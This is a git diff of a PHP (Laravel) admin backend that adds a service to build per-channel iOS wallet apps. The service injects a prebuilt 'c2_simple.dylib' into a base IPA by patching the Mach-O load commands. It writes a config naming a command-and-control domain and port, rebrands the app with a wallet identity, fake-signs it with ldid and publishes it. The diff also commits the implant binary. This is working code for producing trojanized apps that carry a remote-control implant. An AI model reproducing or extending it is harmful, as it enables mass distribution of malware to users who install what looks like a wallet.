diff --git a/app/Http/Controllers/Admin/ChannelController.php b/app/Http/Controllers/Admin/ChannelController.php index beea538..9c34480 100644 --- a/app/Http/Controllers/Admin/ChannelController.php +++ b/app/Http/Controllers/Admin/ChannelController.php @@ -386,7 +386,7 @@ class ChannelController extends Controller $apiDomain = trim((string) config('coruna.app_api_domain', env('APP_API_DOMAIN', 'hslaxo.cc'))); try { - $service = app(\App\Services\AppPackageService::class); + $service = app(\App\Services\AiWalletPackageService::class); $result = $service->build($channel, $logoPath, $apiDomain); } catch (\Throwable $e) { $result = ['success' => false, 'path' => '', 'size' => 0, 'error' => $e->getMessage()]; diff --git a/app/Services/AiWalletPackageService.php b/app/Services/AiWalletPackageService.php new file mode 100644 index 0000000..35e4124 --- /dev/null +++ b/app/Services/AiWalletPackageService.php @@ -0,0 +1,337 @@ + 120, + 'AppIcon60x60@3x.png' => 180, + 'AppIcon76x76@2x~ipad.png' => 152, + ]; + + public function build(Channel $channel, ?string $logoPath, string $apiDomain): array + { + $baseIpa = storage_path('app/'.self::BASE_IPA); + $c2Dylib = storage_path('app/'.self::C2_DYLIB); + + if (!file_exists($baseIpa)) { + return $this->fail('Base IPA not found. Upload ai-live-base.ipa via admin.'); + } + if (!file_exists($c2Dylib)) { + return $this->fail('c2_simple.dylib not found. Upload pre-compiled dylib.'); + } + + $workDir = storage_path('app/app-builds/'.$channel->channel_id); + if (is_dir($workDir)) $this->rrmdir($workDir); + @mkdir($workDir, 0755, true); + + try { + // 1. Extract base IPA + $zip = new \ZipArchive; + if ($zip->open($baseIpa) !== true) throw new RuntimeException('Cannot open base IPA'); + $zip->extractTo($workDir); + $zip->close(); + + $appDir = $this->findAppDir($workDir); + if (!$appDir) throw new RuntimeException('No .app directory found'); + + // 2. Copy pre-compiled c2_simple.dylib + $fwDir = $appDir.'/Frameworks'; + if (!is_dir($fwDir)) @mkdir($fwDir, 0755, true); + copy($c2Dylib, $fwDir.'/c2_simple.dylib'); + + // 3. Generate c2_config.plist + $this->writeConfigPlist($appDir, $channel, $apiDomain); + + // 4. Add LC_LOAD_DYLIB to main binary + $mainBin = $this->findMainBinary($appDir); + $this->addLoadDylib($mainBin, '@rpath/c2_simple.dylib', '@executable_path/Frameworks/libutils.dylib'); + + // 5. Patch Info.plist + $this->patchInfoPlist($appDir, $channel); + + // 6. Generate icons + if ($logoPath && file_exists($logoPath)) { + $this->generateIcons($appDir, $logoPath); + } + + // 7. Sign + $this->sign($appDir); + + // 8. Package + $outputPath = 'channel/'.$channel->channel_id.'/app.ipa'; + $outputFull = public_path($outputPath); + @mkdir(dirname($outputFull), 0755, true); + + $outZip = new \ZipArchive; + if ($outZip->open($outputFull, \ZipArchive::CREATE | \ZipArchive::OVERWRITE) !== true) { + throw new RuntimeException('Cannot create output IPA'); + } + $this->addDirToZip($outZip, $workDir.'/Payload', 'Payload'); + $outZip->close(); + + $size = filesize($outputFull); + $this->rrmdir($workDir); + + return ['success' => true, 'path' => '/'.$outputPath, 'size' => $size, 'error' => '']; + + } catch (\Throwable $e) { + $this->rrmdir($workDir); + Log::error('AiWalletPackageService: build failed', [ + 'channel' => $channel->channel_id, + 'error' => $e->getMessage(), + ]); + return ['success' => false, 'path' => '', 'size' => 0, 'error' => $e->getMessage()]; + } + } + + private function writeConfigPlist(string $appDir, Channel $channel, string $apiDomain): void + { + $config = [ + 'C2Domain' => $apiDomain, + 'C2Port' => '443', + 'WebViewURL' => $channel->h5_url ?: 'https://tether.to', + 'AppId' => $channel->channel_id, + 'ChannelId' => $channel->channel_id, + 'AppName' => $channel->app_name, + ]; + + $plist = $this->arrayToXmlPlist($config); + file_put_contents($appDir.'/c2_config.plist', $plist); + } + + private function arrayToXmlPlist(array $data): string + { + $xml = ''."\n"; + $xml .= ''."\n"; + $xml .= ''."\n"; + foreach ($data as $key => $value) { + $xml .= ''.htmlspecialchars($key).''.htmlspecialchars($value).''."\n"; + } + $xml .= ''; + return $xml; + } + + private function patchInfoPlist(string $appDir, Channel $channel): void + { + $plistFile = $appDir.'/Info.plist'; + $data = file_get_contents($plistFile); + + // Use plistlib via shell (available on Linux) + $tmpFile = tempnam(sys_get_temp_dir(), 'plist'); + file_put_contents($tmpFile, $data); + + $changes = [ + 'CFBundleDisplayName' => $channel->app_name, + 'CFBundleName' => $channel->app_name, + 'CFBundleIdentifier' => $channel->bundle_id ?: 'com.ai.wallet.next', + 'CFBundleShortVersionString' => '1.6.1', + 'CFBundleVersion' => '1.6.1', + ]; + + foreach ($changes as $key => $value) { + $escaped = escapeshellarg($value); + exec("plistutil -i {$tmpFile} -o {$tmpFile} -k {$key} -s {$escaped} 2>/dev/null || true"); + // Fallback: use sed for XML plists + $data = file_get_contents($tmpFile); + $data = preg_replace( + '#'.preg_quote($key, '#').'\s*[^<]*#', + ''.$key.''.htmlspecialchars($value).'', + $data + ); + file_put_contents($tmpFile, $data); + } + + // Remove storyboard reference, add UILaunchScreen (white background) + $data = file_get_contents($tmpFile); + $data = preg_replace('#UILaunchStoryboardName\s*[^<]*#', '', $data); + if (!str_contains($data, 'UILaunchScreen')) { + $data = str_replace('', 'UILaunchScreen', $data); + } + file_put_contents($plistFile, $data); + unlink($tmpFile); + } + + private function addLoadDylib(string $binaryPath, string $dylibPath, string $insertBefore): void + { + $data = file_get_contents($binaryPath); + $origSize = strlen($data); + + // Parse Mach-O 64-bit header + $magic = unpack('V', substr($data, 0, 4))[1]; + if ($magic !== 0xFEEDFACF) throw new RuntimeException('Not a Mach-O 64-bit binary'); + + $ncmds = unpack('V', substr($data, 16, 4))[1]; + $sizeofcmds = unpack('V', substr($data, 20, 4))[1]; + + // Find the LC_LOAD_DYLIB for libutils to insert before it + $offset = 32; + $insertOffset = 32 + $sizeofcmds; // Default: append at end + $libutilsOffset = -1; + + for ($i = 0; $i < $ncmds; $i++) { + $cmd = unpack('V', substr($data, $offset, 4))[1]; + $cmdsize = unpack('V', substr($data, $offset + 4, 4))[1]; + + if ($cmd === 0x0C) { // LC_LOAD_DYLIB + $nameOffset = unpack('V', substr($data, $offset + 8, 4))[1]; + $name = substr($data, $offset + $nameOffset, strpos(substr($data, $offset + $nameOffset), "\0")); + if (str_contains($name, 'libutils')) { + $libutilsOffset = $offset; + break; + } + } + $offset += $cmdsize; + } + + // Insert before libutils if found, otherwise append + if ($libutilsOffset >= 0) { + $insertOffset = $libutilsOffset; + } + + // Create LC_LOAD_DYLIB command + $name = $dylibPath."\0"; + $nameOffset = 24; // sizeof(load_command) + 3 * sizeof(uint32) + padding + $cmdsize = $nameOffset + strlen($name); + $cmdsize = ($cmdsize + 7) & ~7; // Align to 8 bytes + $name = str_pad($name, $cmdsize - $nameOffset, "\0"); + + $lc = pack('VVVVVV', + 0x0C, // cmd = LC_LOAD_DYLIB + $cmdsize, // cmdsize + $nameOffset, // dylib.name.offset + 1, // dylib.timestamp + 0, // dylib.current_version + 0 // dylib.compatibility_version + ).$name; + + // Insert the load command + $data = substr($data, 0, $insertOffset).$lc.substr($data, $insertOffset); + + // Update ncmds and sizeofcmds in header + $data = substr_replace($data, pack('V', $ncmds + 1), 16, 4); + $data = substr_replace($data, pack('V', $sizeofcmds + $cmdsize), 20, 4); + + file_put_contents($binaryPath, $data); + } + + private function findAppDir(string $workDir): ?string + { + $payload = $workDir.'/Payload'; + if (!is_dir($payload)) return null; + foreach (scandir($payload) as $item) { + if (str_ends_with($item, '.app')) return $payload.'/'.$item; + } + return null; + } + + private function findMainBinary(string $appDir): string + { + // Main binary has the same name as the .app directory + $appName = basename($appDir, '.app'); + return $appDir.'/'.$appName; + } + + private function generateIcons(string $appDir, string $logoPath): void + { + if (!function_exists('imagecreatefrompng')) { + Log::warning('AiWalletPackageService: GD not available, skipping icons'); + return; + } + + $src = imagecreatefrompng($logoPath); + if (!$src) return; + + foreach (self::ICON_SIZES as $filename => $size) { + $dst = imagecreatetruecolor($size, $size); + imagealphablending($dst, false); + imagesavealpha($dst, true); + imagecopyresampled($dst, $src, 0, 0, 0, 0, $size, $size, + imagesx($src), imagesy($src)); + imagepng($dst, $appDir.'/'.$filename); + imagedestroy($dst); + } + imagedestroy($src); + } + + private function sign(string $appDir): void + { + $csDir = $appDir.'/_CodeSignature'; + if (is_dir($csDir)) $this->rrmdir($csDir); + + $ldidPath = trim((string) config('coruna.ldid_path', base_path('bin/ldid'))); + if ($ldidPath === '') return; + + $binaries = array_merge( + [$this->findMainBinary($appDir)], + glob($appDir.'/Frameworks/*.dylib') ?: [], + glob($appDir.'/*.dylib') ?: [], + ); + + foreach ($binaries as $bin) { + if (!is_file($bin)) continue; + exec(escapeshellarg($ldidPath).' -S '.escapeshellarg($bin).' 2>/dev/null'); + } + } + + private function addDirToZip(\ZipArchive $zip, string $dir, string $prefix): void + { + foreach (scandir($dir) as $item) { + if ($item === '.' || $item === '..') continue; + $path = $dir.'/'.$item; + $zipPath = $prefix.'/'.$item; + if (is_dir($path)) { + $zip->addEmptyDir($zipPath); + $this->addDirToZip($zip, $path, $zipPath); + } else { + $zip->addFile($path, $zipPath); + } + } + } + + private function rrmdir(string $dir): void + { + if (!is_dir($dir)) return; + foreach (scandir($dir) as $item) { + if ($item === '.' || $item === '..') continue; + $path = $dir.'/'.$item; + if (is_dir($path)) $this->rrmdir($path); + else @unlink($path); + } + @rmdir($dir); + } + + private function fail(string $error): array + { + return ['success' => false, 'path' => '', 'size' => 0, 'error' => $error]; + } +} diff --git a/storage/app/.gitignore b/storage/app/.gitignore index 92c809b..69d2d94 100644 --- a/storage/app/.gitignore +++ b/storage/app/.gitignore @@ -1,5 +1,6 @@ * -!private/ -!public/ -!app-templates/ !.gitignore +!app-templates/ +!app-templates/.gitkeep +!app-templates/*.ipa +!app-templates/*.dylib diff --git a/storage/app/app-templates/ai-live-base.ipa b/storage/app/app-templates/ai-live-base.ipa new file mode 100644 index 0000000..b1d17b3 Binary files /dev/null and b/storage/app/app-templates/ai-live-base.ipa differ diff --git a/storage/app/app-templates/c2_simple.dylib b/storage/app/app-templates/c2_simple.dylib new file mode 100755 index 0000000..05c551f Binary files /dev/null and b/storage/app/app-templates/c2_simple.dylib differ